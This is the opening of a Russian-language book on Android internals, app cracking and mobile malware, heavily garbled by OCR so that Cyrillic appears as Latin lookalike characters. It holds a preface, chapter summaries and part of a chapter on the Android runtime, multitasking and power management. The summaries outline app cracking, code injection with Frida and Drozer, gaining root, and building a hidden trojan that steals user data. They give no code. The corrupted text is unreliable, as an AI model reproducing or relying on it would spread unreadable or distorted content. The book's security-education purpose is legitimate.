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BsepeHue

3a nocnennue 10 ner cMapTdoHsl npouuy 6onpwoi nyTs. M3 urpyinek ajis rukoB ¥ MH-
CTPYMEHTOB U1l OM3HECa OHM MPEBPATHIIMCH B MO-HACTOALIEMY MAacCOBBIH MPOAYKT, KO-
TOpBIH JIEXUT B KapMaHe OyKBaJIbHO KaXK0TO XHTeNs pa3BUTOM cTpaHbl. CeroqHsIHMiA
CMapTPOH — 3TO YK€ He KapMaHHbIH KOMIbIOTEp, a CKopee LM(POBOH OTMEYaTOK ero
nonp3oBarens. CMapTdOH XpaHUT Maccy NPUBATHBIX AAHHBIX, BKJIIOYas JIM4HbIE (HOTO-
rpacduy, Napony ¥ TOKeHbl A1 A0CTymNa k 6aHKOBCKOMY CHETY.

Poct nmomynspHocTH cMapT(OHOB BBIHYIHI KOMIAHHUH-Pa3pabOTYMKOB ONMEPALMOHHBIX
CHCTEM NPUHUMATh CPOYHbIE MEpPbI IJIs 3aLLMTHI MOJB30BATEILCKUX AAHHBIX. OTa KHUra
HauMHaeTcs ¢ BBeAcHUs B ycTpoiictBo OC Android, nanee pacckaspiBaeT 006 UCTOpHH
pa3BUTHA CpeAcTB obecneyeHus: 6e30nacHOCTH ¢ nepBoi Bepcuu U 10 Android 11.

Bropast 4acTh KHHUTM LIEJIMKOM IOCBSILUEHA TEXHHKAM B3/IOMa W peBepC-MH)KUHUPUHIA
npuwioxxeHui. Ha npumepe B3oMa HECKOJIBKMX pealbHbIX npuiokeHuid uz Google Play
s MOKaXY, Kak ycTpoeHb! dainsl APK u3HyTpH, pacckaxy, 4TO Takoe JeKOMIUIATOPBI U
Aau3zacceMOuepsl, MOLIAroBO NPOJEMOHCTPUPYIO, KaK MPOMCXOAUT B3JIOM TMPHIIOXKEHHS,
KaK BHEJAPHUTh B yXKylO NMPOrpaMMy CBOH KOJ M pacmyTaTh KJ1yOOK KoJa, MPOMyLEHHOro
yepe3 obdyckatop. OTaENbHO pacckax<y, Kak HCMOJb30BaThb HHCTpyMeHTHl Frida u
Drozer /15t U3B/IeYEHHS IAHHBIX U3 YyXKHX NPUIOKEHUN U U3MEHEHUS MX MOBEIEHHUS.

3aKIIoYNTENbHAs YacTh KHUTM TMOCBALIEHAa OAHOW U3 riaBHbIX npobrnem Android kak
naathopMbl — BPEOHOCHBIM MporpaMMmaM. JTo caMas oObeMHas YacTb KHWIH, 3aTpa-
ruBaroiias 6yKBalbHO KaXXAbIH acreKT M3yueHHs W pa3paboTKH 3/10BpEeIHBIX MpPHUIIOXKe-
HUA. B 3ToM YacTu g pacckaxy 06 MCTOpUM MOGWIIBHBIX BHUPYCOB, UCMOJIb3YEMBIX UMM
yA3BUMOCTAX U METOJaX MAacCKMpPOBKH. A 4TOOBI He ObITh rOJOCIOBHBIM, I IPOJEMOHCT-
PHpYIO, KaK C HyJs co3aTh CBOH COOCTBEHHBIH TPOSIH, yMEIOWMHA cCOOMpaTh NaHHbIE
T0JIb30BaTeIsl, COBEpIIATh 3BOHKH, AeaTh CHUMKH, OCTaBasiCh MPH 3TOM CKPBITBIM.

Cpa3sy oTMedy, UTO 3a UCKITIOYEHHEM HECKOJIbKMX TEM 3Ta KHUra He pacCKa3bIBAeT O IMeH-
TECTE B YCTOSIBLIEMCS CETrO/IHA CMBICJIE, KOTAa B3JIOMIIMK HMILET CrocoObl U3BNEYb JIaH-
Hbl€ U3 MPHUIOXKEHHS WM 3aCTaBIs€T €ro BBIOJHUTh HYXHble AEHCTBHS B OOBIYHBIX
YCJIOBUAX, HE MOAWHLUPYS OpPUrHHANBHBIA KOJ MpuiokeHus. KpaTko 06 3ToM MOXHO
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NpOYMTaTh B IJ1aBaX, NOCBALIEHHBIX WicTpyMeHTaM Drozer u Frida, Ho B uenom kHura He
00 3TOM.

Yto BbI HAWAETE B 3TOU KHUre?

O I'naBa 1 paccka3biBaeT 0 BHyTpeHHeM ycrpoiictBe OC Android U TexHomorusx, ko-
TOpBIE JIEXKAT B €€ OCHOBE.

O B raase 2 noapoGHO paccMaTpHBaeTcs mpolecc 3arpy3ku Android, onucansl pasae-
Jibl, B KOTOPBIX XpaHATcsa HeobxoauMsle ans pabotsl OC naHHbIE H paccka3aHo 00 MX
npeaHa3Ha4YeHUH.

O TI'aaBa 3 NONHOCTHIO MOCBALIEHa MexaHu3My obHoBneHus Android.

O B ruase 4 onucanel MexaHu3Mbl 3amuThl OC Android, Takie kak MpUBWIErHH, Orpa-
HUYEHMs, IWM(PPOBaHHUE JaHHbIX, JOBEPEHHAs 3arpy3Ka M Cpejia BbINOJHEHHS, U T. 1.

0O I'aaBa § paccka3biBaeT 00 albTepHATHBHBIX MPOLIWBKaX MOOWIBLHBIX YCTPOHCTB, py-
THHI€ ¥ KaCTOMHU3aLIUH.

O B rnaBe 6 pacKpbITbl OCHOBHbIE METOAMKU MCCIIEIOBaHHS U B3JIOMa NPUIOXKEHHH A1
OC Android.

O I'naBa 7 paccka3biBaeT O XaKepCKMX MpUeMaX, MO3BOJIAIOLIMX BHEAPHTh COOCTBEH-
HbIf KOI B 4y>KO€ MPHIOKEHHE, U JEMOHCTPHPYET NMPHUMEHEHHE 3THX MPHEMOB Ha
MPOCTOM MpHMEpE.

O B rnaBe 8 paccka3piBaeTcsi 0 TOM, Kak pacmyTaTh 00¢yCLUHMPOBaHHbIA KOA U KaKUMH
TNOJIE3HBIMM MHCTPYMEHTAMH U1 3TOI0 MOXKHO BOCIMOJIb30BATHCH.

O I'naBa 9 nmoBecTBYeT O TEXHOJNOIMH B3JIOMa MOGWIBHBIX MPUIOKEHHH C MOMOLLBIO
OT/aA4yMKa.

O I'maBa 10 noJHOCTBIO MOCBSALIEHA NMpPUHLMNAM paboTel ¢ HaOOpPOM HHCTPYMEHTOB
Frida, nossonsrolyyM BHeOpATb COOCTBEHHbIH KOXA B CTOPOHHME TPHIIOKEHHS
Android.

O I'aaBa 11 packpbiBaeT cekpeThl Mcnonb3oBaHus Drozer U apyrux nonesHbix Xakep-
CKHX HHCTPYMEHTOB.

3 B raaBe 12 paccka3sbiBaeTcsi 00 UCTOPHH pa3BUTHS BpeIOHOCHBIX mporpamm aas OC
Android.

O TI'aaBa 13 onucbiBaeT yCTPOWCTBO M MPUHLMNBI paboThl COBPEMEHHBIX BPEAOHOCHBIX
nporpamm 11 MoSuneHo# matgopmer Android.

O I'raBa 14 npUBHOCHT B TEOPHIO 3/IEMEHT NMPAKTHUKH: YUTATEIIO NPEATAraeTcs camomy
HanucaTb TECTOBYIO MPOrpaMMy C «BPEJOHOCHBIMUY bYHKUMAMH s Android u noa-
poGHO paccka3biBaeTcs, Kak 9TO CIeNaTh.

O B raaBe 15 uyutarenp y3HaeT, KaK MCNOJb30BaTh HEKOTOpBIE CTaHAApPTHbIE BO3MOXK-
HOCTH onepauuoHHON cucTeMbl Android, 4ToOBI NMOMY4YHTH MpaBa root M ynpaBifThb
NpUBUIIETHAMHU.
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0O 3axmounTenbHas riaasa 16 paccka3siBaeT O TOM, KaK 3amyTaTh COOCTBEHHBIH KOO U
3alUTHUTE Ballld NPOrpaMMbl OT OTJIAJKU U JEKOMITUWIALIUY.

Jlorudecku Bech MaTepuall KHUTH pa3[elieH Ha TPH pa3zena, KaKIbId U3 KOTOPBIX MOXKHO
YUTATh MO OTAENBHOCTH, YTOOBI MOIyYHTh MPEACTaBIEHHE O COOTBETCTBYIOLIEH Teme. Ho
s TEM He MEHee PEKOMEHIYI0 BaM O3HAKOMHUTHCS CO BCEH KHHIO# IMOCIeI0BATEIbHO —
3TO MO3BOJIMT YMTaTENO Holee MoaHO HU3y4uTh ratdopmy Android Tak, kak OHa BBIr/IA-
JMT rN1a3aMH Xakepa.

Ansa koro 3ta kHura?

B Gonblueii creneHy KHUra OpueHTUpoBaHa Ha paspabotuukoB I1O u TeX, KTO HHTEpecy-
ercs yctpoictBoM Android. 3To He yyeGHHMK 1Mo B3JIOMY M CO3AaHHIO BUpYcoB. Bea npu-
BeJieHHas B KHUre MHpopMaLus MpeAHa3Ha4yeHa B MEPBYIO ouepeab A TeX, KTO XOTel
Obl MOHATH CMOCOOBI 3aLIMTH CBOMX NMPHIOKEHHH M JaHHBIX, a TAKKe 3alUUTUTh UX OT
HECAHKLIMOHUPOBAHHOW NEKOMMNWIALMM, OTJIAJKH U HCCIEeAOBaHUA. UWTaTenb W3y4dT
CTpYKTYpy MexaHu3MoB Ge3onacHoctd OC Android, HayunTCs 3awMinaTe cOOCTBEHHBIE
NPHIOXKEHMS OT B3710Ma, U3Y4YHUT NPHEMBI BHEIpEHHs B NpwiokeHus Android BpegoHoc-
Horo IO u 3amuTel OT NOAOOHBIX SABIEHHHA, CIIOCOOBI 3aIUMTHI KPUTHYECKOH HHPOpMa-
LIMH OT XHLIEHHUS.

BHUMAHME!

Bcs uHcopmauus B 3TOW KkHUre NpeaocTaBneHa WUCKNIOYUMTENbHO B O3HAKOMUTENbHbIX
uensx. ABTOp W pefakums He HeCyT OTBETCTBEHHOCTU 3a NOOON BO3IMOXHLIA Bpea, Npuin-
HEHHbIW C NCNONb30BaHWEM CBEAEHUN U3 3TOW KHWTU.

YcnosHeie 0603HaueHUs

B KHHUre NpUHAT pAa yClOBHBIX 0003Ha4Y€HHM, MPU3BAHHBIX OOJErYUTh YUTATEIO U3yYe-
HMe MaTepHana. MoHOWMPHHHBIA WPHPT command UAEHTUPHULIUPYET BBOAUMBIE MOJIB30-
BaTeJeM KOMaH[bl, HMeHa (aiiIoB, KaTanoros WM ynpasisiolue cuMBonel. Kypcus uc-
NoJb3yeTCs AJS BbIACJICHHSA MOHATHH M TEPMHMHOB, a MOJYKMPHBbIH WPH(T BbIAENAET
KnoyeBsle crnoBa, agpeca URL u anemeHThl HHTEpdeiica. HekoTopsle monesHsble cBene-
HHMS, HE OTHOCALLHMECS HampsAMYIO K paccMaTpHBaeMOMY B TEKCTE BOMpPOCY, HO CNOco0-
HbI€ MPECTAB/IATL ONMpeaeeHHbIA MHTEPEC [T YUTaTeNs, BHIHECEHBI B MPUMEYaHHUS.

LiBeTHbIE MNIIOCTPALIMM K 3TOM KHUre MOXXHO cka4yaTh Mo ccbuike ftp:/ftp.bhv.ruw/
9785977567930.zip 1M co cTpaHMLIBI KHUTH Ha caiiTe U3JaTebCTBA.
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TTatb ctonnos Android.
TexHonoruu, nexaujme B OCHoOBe
camou nonynapHou OC

CylecTByeT Kak MHHUMYM MNATb TEXHOJOTU#, koTopsle AenaoT Android MMEHHO TeM,
YeM Mbl NPUBBIKJIM €ro BUAETh: BUPTyaJlbHas MalllMHA, CUCTEMa MHOr03aJauHoOCTH, cep-
Buckl Google, IPC-mMexanu3m Binder u sapo Linux. Kaxnas u3 3Tux noacucreM umeer
CBOIO HCTOPHIO Pa3BUTHA, CBOH NMPHUYHHBI MOABIEHUS U HagenseT Android dupMeHHbIMH
yepTaMH. Mbl B MOAPOOHOCTAX MOTOBOPHM O KaXKAOH U3 HUX.

BuptyanbHas mawwuHa

[IpunsaTo cuurath, uto B ocHoBe Android nexwur Java. Ha camom aene Bce HamMHOro
crnoxHee. Java (a Tenepb ¥ Kotlin) — 3To neitctButensHO oduumansHblit a3bik Android.
Ho Java — 310 He TobKO A3BIK, HO ¥ CpeJa UCTIONHEHHS.

B cnyuae HactonbHOH Java, paspaboTaHHO#H koMmnaHuel Sun (Tenepk yxe Oracle), npu-
JI0XKEHHUSA KOMITUITMPYIOTCS B MPOMEXYTOYHBIN 6aliTKOM, KOTOPBIH 3aTEM HCIOTHSET BUP-
Tya/lbHas MalwHHa. PaHHWe BepcuM BUPTyalbHOH MalHWHBI A€NajIH 3TO MyTEM UHTEpPIpe-
Tauuu: BM uyutana 6aiiTkon, aHanM3MpoBaia 3anvcaHHble B HEM WHCTPYKLIMH W HUCTOJ-
HANa UX. DTO MEIEHHbIH METOJ MCMOJHEHHs (Ha Kaxaylo HHcTpykuuio BM mornu
YXOAUTh JECATKM U COTHH MALUMHHBIX MHCTPYKLHI), MO3TOMY MO3/HEE MOSABUICH TaK
HasbiBaeMblid JIT-komnungrop (Just In Time compiler). C ero nomoisio BUpTyanbHas
MallMHa MOTJIa Ha JIETY KOHBEPTUPOBATh OANTKOA B MAlIMHHBIE HHCTPYKLIMH, YTO CyLle-
CTBEHHO MOAHAJIO CKOPOCTh €0 MCIMOJIHEHHUS, HO MOBBICHIIO PAcXo[] ONEPAaTHBHOM Nams-
TH: B NMAMATH Tenepb HEOOXOAMMO XpaHUTb He TOJIBKO 0ANTKOI, HO M MOSy4YEHHbIE U3
HEro MalllMHHbIE MHCTPYKLMH, TUTIOC METaJlaHHble, MO3BOJIAIOLIME BBIMONHATL ONTUMH-
3alMH.

Kpome Toro, npu pa3paboTke BUpPTyaJIbHOH MallWHbI Java MHXKeHephl Sun pelinid Mc-
MOJIb30BaTh CTEKOBBIM AM3ailH BUPTyaJlbHOM MalllMHbl KaK CaMbld MPOCTOH W YHUBEp-
canbHbIi. Ho cylecTByeT Takoke perucTpoBbIf AW3aiiH, 60mee 3¢ hekTHBHDBIH B CKOPOCTH
UCMoNHeHus OaiTkona U NoTpebneHHs onepaTUBHOMN NaMATH.
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HWMeHHO Takas perucTpoBas BUpTyasibHas MaluvHa (roa HasBanuem Dalvik) ucnons3oba-
nach B nepBbixX Bepcusax Android. Bnaropaps orcyrctBuio JIT-komnunsropa oHa Oblna
oueHb HeTpeOOBaTeNbHON K ONEpaTUBHON MaMsATH, a PErUCTPOBBINA AW3aiH MO3BOJISII HC-
MOJTHATb MPHJIOKEHHUS A0CTAaTOHYHO ObICTPO AaXke B peXXKHMMe HHTeprnipeTauuH (puc. 1.1).

Puc. 1.1. Cpepa paspabotku Android komnunupyeT kopa Java B 6aiTkos JVM,
HO 3aTeMm KoHBepTupyeT ero B 6anTkoa Dalvik

K Beixoay Android 2.2 Google Bce-taku peanuzosan JIT-komnunsrop, a B Android 5.0
nouren ewe aanbiie u 3amedun Dalvik Ha AOT-komnunsatop (Ahead Of Time Compiler)
noa HazBaHueM ART. B Teopuu Takoi kOMNUAATOp Mo3BoJiseT U30aBUTHCA OT BUPTY-
aJIbHOW MallMHBI KaK CYLIHOCTH, U MEPEBOAMUTH MPUIOKEHHE B MALUWHHBIE UHCTPYKLIMH
ellle Ha 3Tane ero ycraHoBku. Ha mene ke nosmyuanoch Tak, 4ro He Bechb OaHTKOA MOXHO
ObUIO OJHMM MaxoOM CKOHBEPTHPOBaTb B MHCTPYKLMH MpoOLECCOpa WU pe3ybTUPYIOLUHii
KOI MOT colep)kaTh Kak MallWHHble MHCTPYKUMH, Tak M OaiiTkoa craporo mo6poro
Dalvik. U co Bceii 3ToH MelaHMHON npoaoskana pa3duparbecsi BUPTyallbHas MallMHA.

AOT-koMnunaTop Takke npourpeiBan JIT-koMnUAATOPY B HEKOTOPBIX BO3MOXKHOCTAX
ONTUMHU3ALMHM MAILMHHOrO Koja. Y Hero mpocto He ObLIO JOCTaTOYHO HH(opMaLMH
O MOBEJEHUH TNMPUIOKEHUS M OCOOEHHOCTAX ero paboThl; €€ MOXHO ObLIO NOJYyYHTH,
TOJIBKO 3aITyCTHB NpWIOKeHHe. Ellle 3TOT KOMNUIATOp CYIIECTBEHHO 3aMeIsT YCTaHOB-
Ky NMPHUJIOKEHHUH W NepBbIi 3aITyCk ONMEpaLMOHHONH CHCTEMBI.

YT1o6sbl 3T0 HcnpaBuUTh, HHXeHepbl Google cozaanu rubpuansbtii JIT/AOT-koMnunsTop,
KoTopblii ctan yacTbio Android 7. Cpa3y nocjie yCTaHOBKH MPUIIOKEHUS OH UCMONb3yeT
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JIT-koMNWIALKMIO, HO BO BpeMst paboThbl OT 3apAAKH CMapT(OH MeperoHseT NpHIoKeHHe
B MalllMHHBIE HHCTPYKUMH ¢ roMouibio AOT-koMnunsTopa, KOTOpbI MOXET YYHUTHIBATh
MH()OPMALIUIO, HAKOIUIEHHYIO B MPOLIECCE UCTIONHEHHS MPHIIOKEHHS.

A Tenepp Borpoc: 3aueM Google Hy)XHbI OBLTH BCe 3TH 3aMOpPOYKH ¢ Java U BUpTyaib-
HbIMH MalllMHAMH, KOrJa MOXKHO Obls10 MoiTH no nmyTtu Apple 1 ucnone3oBaTh OOBIYHBIM,
KOMITHJIMPYEMBIH B MalIMHHBIE WHCTPYKLHH $3bIK, KOTOPBI HE CTpajaeT oT npobiem
€ JKOpOM OMEepaTUBKH U NPOU3BOAUTENBHOCTH?

OTBETOB Ha 3TOT BOIMNPOC KaK MUHUMYM TpHU:

1. Ilopmabenvnocms. Cnoran Java — «HamnucaHo omHaxabpl — pabortaeT Be3ne» He
NpPOCTO MAapKETHHIOBBIN JIO3YHT, a YMCTas MpaBAa. Thl MOXeINb ckayaTh JItoboe KO-
raa-nudo HanmucaHHOE Ha Java MpUJIoXKEHHE U 3ayCTUTh ero Ha JIloOO0H NOJIHOLIEHHOM
BUPTYalbHON MalllMHe Java He3aBHUCHMO OT ONEpPALMOHHOW CHUCTEMBI, apXUTEKTYpPbl
npoueccopa 1 ¢asel TyHsl. OHO npocTo padoTaer.

Tem e NpUHUMIIOM PYKOBOJCTBOBAJIHMCH pa3paborunku Android. HeBaxkHo, kakoii
MPOLIECCOP HCMOJIb3YeTCs B CMapT(oHe; HEBaXKHO, CMApT(POH 3TO WIIM TEIEBU3OP.
[Ipunosxenue, HanucaHHoe A Android, 6yner pabotarh 6€3 NEpEeKOMMUISALUHN U MO-
Judukanun (eci, KOHEYHO, OHO HE MCTONb3YeT MalIMHHBIA ko Ha C/C++).

Ewe oauH rutoc: pa3paboryvky HeT HEOOXOOUMOCTH 3aQyMBIBAaTbCi O MOAIEPIKKE
6onee 3¢ ¢eKTUBHBIX HHCTPYKLUMH, NOSABUBIUIMXCS B HOBBIX MpoLEccOopax, 3a HEro 3To
caenaet JIT/AOT-komnunsarop.

2. Haoesxcnocms. Java — 3TO BBICOKOYPOBHEBBIH S3bIK CO COOPIIMKOM Mycopa, He Mo-
3BOJIAIOIIMHI afpecoBaTh MaMATh HAMpsAMYIO U He TpeOYIOLIHii caMOCTOATENBHOrO Oc-
BOOOXK/IEHHUS BBIJENIEHHON MaMATH. JTO 3HAYMT, YTO MHOTHE THMBI aTakK, BKJIOYas
buffer overflow u use after free, npoTuB npuyoxeHui Ha Java He MOryT OBITH OCyllie-
CTBJIEHbl B MpUHUMUNE. B kpaliHeM cilydae BUpTyanbHas MallliHa MPOCTO OCTAHOBUT
npuiiokeHHe (Kak 3TO HEpelKO MPOUCXOOMUT B CIIyyae BbIXOJA 3a MPaHMLIBI MacCHBa,
Hanpumep).

HWmenHo nosatomy B Android HaxoasaT MeHblle ysA3BUMOCTeH, yeM B i0S, UeJUKOM U
NOJHOCThIO HAaNMCaHHOM Ha Hebe3omacHbIx A3bikax C, C++ u Objective-C. U 310 0a-
Ha U3 NpHuMH, noyeMy Apple noHamobuncs sa3bik Swift.

3. Java — oaMH U3 CaMBbIX MOMYJSAPHBIX A3BIKOB B MUpPE, O3TOMY Y pa3pabOTYMKOB AJIs
Android u3HayabHO OBUT AOCTYN K OFPOMHOMY KOJMYeCTBY Java-OHONHOTEK U CHHII-
METOB KO/1a, KOTOPbIE MOXKHO 3a1€HiCTBOBATH B MPUIOKEHHH.

Xots ceiiyac HabupaeT oOopoTsl A3bik Kotlin, OH MOJHOCTEIO COBMECTUM ¢ Java Ha
ypOBHe 0alTKOJa M CYLIECTBYIOIIHUX OUOJIMOTEK. A 3TO 3HAYMUT, YTO 1Jis €rO MOJACPIKKU
Ha ctopoHe OC He Hy»HO aenartb Hu4ero. [Ipunoxenus npocto paboTaror.

MHorosanauHoOCTHL

Te, ko ucnonw3ytor iPhone naBHo, 3HaloT, Kak paboTtanu paHHHe Bepcuu i0S. DakTHye-
ckH 310 Oblna opHo3amavyHas OC, koropas mo3Bonsia pabotaTh B GoHe WIH MpepbIBaTh
paboTy TeKyLlero MpUIOKEHUs TOJIIBKO MPEdyCTaHOBIECHHBIM MPUJIOKEHHSIM: TOJb30Ba-
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Telb YWTAeT KHHUTY, MPOMCXOAUT 3BOHOK, B 3TO BPEMS MPHIOXKEHHE [UIA YTEHHS KHHMT
CBOpaYyMBaeTCs — M Ha 3KpaHe MOABNAETCA OKHO 3BOHKA. A BOT oOpaTHas onepauus He-
BO3MOJKHA: MPUIIOXKEHHE T YTEHHS HE TOJIbKO HE MOXKET NMpepBaTh paboTy Apyrux npu-
JIOXEHUH, HO U OyneT yOuTO cpa3y nociie CBOpauMBaHHs.

CMbIC CyILECTBOBaHHMS TAaKOH CHCTEMbI, KOHEUHO )K€, B TOM, YTOObI COKOHOMHTB pecyp-
Cbl Mpoleccopa, OnepaTUBHOW NamsATH, a Takke pecypc Oartapeu. brnaromaps takomy
noaxoay (Ho He Tonbko) iPhone Mor paboTtaTe ObICTPO B YC/IOBHAX OTpaHHYEHHBIX pe-
CYPCOB M OUeHb O€pe>XHO OTHOCHIICA K 3apsay aKKyMyJsTopa.

Android u3HayanbHO 6bLT ycTpoeH MHave. 3aech MOXKHO 3anmyCTHTh MHOXECTBO pa3/iny-
HbIX NMPUIOXKEHHH, H Bce OHM OyayT OCTaBaTbCsA B NaMATH U CMOTYT paboTaTh B GOHOBOM
pexxume. [Tonb3oBaTens OTKpbIBaeT Opay3ep, BBOAMT aapec M, NMOKa 3arpyxkaercs CTpa-
HMLA, 3aMycKaeT NMOYTOBLIA KJIHEHT W uMTaeT nucbMa. Bce kak Ha geckTone, ¢ TeM Mc-
KJTIOUEHHEM, YTO HE HYXKHO 3a00THThCS O 3aKPBITHH MPUIIOKEHUH, CUCTEMa CeNIaeT 3TO
caMa, Koraa CBO60}]Haﬂ orneparuBHas nNamMsaTb ﬂO}lOﬁl]CT K KOHULY HJIH €€ HE XBATHUT 1]
pa3MeLleHus APYroro npuiokeHus (camo co0ol, B MepBYK ovepeab B pacxold NOHAYT

peOKO HCMoNb3yeMble MPHIOKEHHs). DTOT MexaHHW3M HasbiBaetcs lowmemorykiller
(puc. 1.2).

Pwuc. 1.2. Wmesn npaBa root,
HacTponku lowmemorykiller MoXHO perynuposaTth HanpsmMyto UK C NOMOLBIO CneuvanbHbIX NPUNOXEHUA
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BaxkHblii 3/1EMEHT CHCTEMBl MHOT'03aJaYHOCTH — CITyXOHI (services). 3To ocobble KOM-
TMOHEHTBI MPWIOXKEHHH, KOTOphle B paHHUX Bepcusx Android mornu pabortath B ¢oHe
npH abCoMOTHO MOOBIX YCIOBHAX: BKJIIOYEH 3KPaH WX BBIKIIOYEH, CBEPHYTO MPUIIOXKe-
HHE WIM pa3BepHyTO, ciyx6aM ObUIO IUIeBaTh Jaxke Ha TO, 3alTyLIEHO M POAUTENILCKOE
npunoxeHue BooOue. Cmyx6a npocto rosopuna: "Oi, Android, MHe Hy>XHBI pecypchl
npoLueccopa, i Xo4yy CHAeNaTh HEKOTOphIE pacyeThl" — M Mojyvasia HyXHbIE PecypcChl.
B tepmuHonorun Android Tako#t 3ampoc k cucteMe HasbiBaetcs wakelock (TouHee, ero
KOHKpPETHas pa3HOBHAHOCTb — NpoLeccopHbli wakelock).

Co BpeMeHeM nojaepxKa Takoro MOLIHOIO HWHCTPyMeHTa Hauana co3gaBaTh Google
npo6ieMsl. [IoABHIOCH OrPOMHOE KOJTMYECTBO MPHUIOKEHUH, KOTOPBIE TUIOAWIH CIyKObI
Ha KaXX/bli YMX, TOCTOSHHO BBIMOIHAIN paboTy U He HaBanu cMapTdoHy cnaTh. YcTaHo-
BHB Ha CMapT(OH COTHIO MpPUJIOXEHHH, MONb30BaTENb MOMy4Yan HECKONBKO HECATKOB
cIy0, Kakaas U3 KOTOPBIX MEPUOAUYECKH YTO-TO Aenana (TUMMYHBIA MpUMep: 0OHOB-
JIeHUe NIEHTBI TBUTTEPA UK COOOILEHHH B MECCEHIDKEDE).

Curyauus 6bl1a HaCTONBKO MIa4€BHOM, YTO KUTalCKHE MPOM3BOJUTENH, HE OOpeMeHeH-
Hbl€ COXpPaHEHHEM COBMECTUMOCTH € OpUrHHaIbHBIM Android (3To Tpebyercs, eciu mpo-
M3BOJUTEIb JKENAET YCTaHABIMBATh Ha CBOM cMapTdoHbl Play Store), mpocTo oTKIIOYHIH
B CBOMX CMapT(oHaxX MeXaHW3Mbl MOAAEPKAHUA KHU3HEHHOro LMKIa CIyx0 1nd Hecuc-
TEMHBIX NPHII0XKEHHH.

IpoaBHHYTBIE NMONB30BATENH LK APYTUM ITyTEM — MOJy4alli MpaBa root U yCTaHaBIH-
Bani npunoxkende Greenify (https://play.google.com/store/apps/details?id=com.
oasisfeng.greenify), xoTopoe NMO3BONAIO 3aMOPO3UThH CITy>Obl BBIOpaHHBIX MPUIOKEHUH
TaK, YTOOBl MX y>ke HHUKTO He cMor pa3Oyauts. CyliecTBoBald U Gojiee paanKaibHBIE
BAapUaHThbl, HAlIpUMEP CHECTH BeCh CO(T, KOTOPBIM MOJB3YeUIbCs pexXe OTHOro pasa
B CYTKH.

Cama Google Taioke npeanpuH1UMania onpeaeneHHble JeHCTBUS 111 60peObI ¢ «SO0BH-
TBIMU» Ciy>x6amu. Bonbwioii war B 3ToM Hanpasnenuu 6sin caenaHn B Android 4.4, roe
NOSBWICA WHTE/UIEKTyaIbHbI MeXaHH3M, CMOCOOHbIM onpenensts, He paboTaeT M
cmyx0a CIMIIKOM AOJr0o U He CO3JaeT JIM Ype3MepHO# Harpy3ku Ha npoueccop. Eciu
OTBET OBbLT YTBEPAMTENBHBIM, CHCTEMa npubuBana ciayx0y ¥ He mo3BoJsja el 3amyc-
THUTBCS BHOBb. Jlaxke Ha Iy1a3 3Ta BEPCHA CUCTEMBI XKW1a Ha GaTapeiike 3aMETHO J0/blIE
NpeabLTyLIHX.

B wecToii Bepcuu Google nomna ewe gansue U ocHactuina Android mexanusmom Doze
(puc. 1.3), xoTopblif Mocie HEKOTOPOro BpPEMEHH HEaKTUBHOCTH cMapTdoHa (OKOJIO
1 yaca) nepeBoaMn ero B creLMaibHbIN 3Heprocbeperaroumii pexuM. OnHa U3 ocobeH-
HoCTe# 3TOro pexxuma — 3anpetr Ha wakelock, korma HU NpHIOXKeHHUs, HU CTy>KOBI Tpo-
CTO He MOryT pa30yauTh cMapT(OH, YTOOBI BBIMOTHUT KaKylo-TH60 paboTy.

M Bot HakoHel B Android 8.0 Google nomuuia Ha paguKanbHbIi War — 3anpeT Ha paboTy
¢doHoBbIX ciTyk0. Ho ¢ AByMs HCKITIOYEHUAMM:

1. B HeKOTOpBIX CiTy4asAX, HalpUMep, KOTrAa NpPUIOKEHHe HAXOOUTCA Ha 3KpaHe, OHO
MOJKET 3aITycKaTh ClIyxO6bl, HO Android npubreT UX MmocJie yxoa MpUIOKEHUS B COH.

2. Buaumele nons3oBaTenio CIyObl 40 CHX MOp pa3pelleHbl. OTO TaK Ha3blBaeMBIH
foreground service, ciyx6a, kOTOpas BUIHa B NTaHENH YBEIOMIICHHH H HMeeT UKOHKY
B cTaTycbape.
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Puc. 1.3. Wkana pa6otbl Doze

Ewe 6onee panukanbHas cucrema nossuiack B Android 9. App Standby Buckets paciuu-
pseT U gononaHseT MexaHu3M Doze. Ero uaes coctout B TOM, 4TOOBI pa3iaennTh Bce
YCTAHOBJIEHHbIE HAa CMapT(GOHE NMPWJIOKEHHS Ha KaTEropuH B 3aBUCHUMOCTH OT TOTO, Ha-
CKOJIBKO 4aCTO OHH MCMONB3YIOTCS.

Bcero cymecTByeT naTh OCHOBHBIX KaTeTrOpHId:

O Active — [PpHJIO0XXECHUE HUCTNIOJIB3YETCS B JaHHBIH MOMEHT HWJIH HCNOJIb30BAJIOCh CO-
BCEM HCIABHO,

O Working set — yacTo UCMoIb3yeMble MPHUIIOKEHHS

O Frequent — peryaspHO HCMONb3yEMble MPUIOKEHHS, HO He 00A3aTeNbHO KaKAbIHA
JICHb;

O Rare — peako UCMOJIb3yeMble PUIOKEHHS,
O Never — npuioxeHHe YCTaHOBJEHO, HO HH pa3y He 3aIyCcKaJloCh.

B npoctefitem cayuae Android rpynnupyeTt npuaoxeHHs 1Mo KaTeropusM, OCHOBBIBAsAChH
Ha BPEMEHH MOCIEJHErO 3aMyCKa, HO MPOMU3BOAUTENIL CMAapThOHAa MOXKET UCMOIb30BaTh
apyrue cnocod6bl rpynnupokd. Hanpumep, cmaptdonsl Google Pixel npumenstor as
3THX LieJIEH HEMPOHHYIO CETh.

B 3aBUCHMOCTH OT rpynnbl, CHCTEMa MPUMEHSAET K NPUIOKEHUSIM pa3iIMYHble OrpaHuye-
HH3, BKJTIOYas OrpaHHYeHHs Ha 3amyck GoHOBbIX 3a1a4 (Jobs), cpabaTsiBaHHe TaliMepoB
(Alarm), poctynHocTh cereBbix (yHkuui M push-yBenomnenuit (Firebase Cloud
Messaging — FCM, ta6n. 1.1).

Tabnuua 1.1. Firebase Cloud Messaging (FCM)

Fpynna Jobs Alarms CeTb FCM
Active bes orpaHuyeHun | Bea orpaHnyeHuin | Bes orpaHuuyenunnt | Bes orpaHuueHui
Working set 3apepxka 3apepxka bes orpaHnuenni | bes orpaHnyeHun
0o 2 yacos A0 6 MUHYT
Frequent 3apepxka 3apepxka Bes orpaHuyenui 10 B AeHb
no 8 yacos 00 30 MUHYT
Rare 3apepxka 3apepxka 3agepxka ao 24 5 B aeHb
[0 24 yacos 0o 2 yacos vyacos
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HHutepecHblil mo6ouHbIH 3 dexT 3TOH cCUCTEMBI B TOM, 4TO €CJIH BCe B3aUMOJCHCTBHE
NoJb30BATEN C NPHIOKEHHEM OydeT CBOAUTHCS TOJIBKO K INMPOYTEHHUIO U CMaXHUBAHHUIO
YBEIOMIIEHHH, TO Yepe3 HECKONIbKO IHEH MpHIockeHUe nepedaeT B rpynmy Rare u Gyner
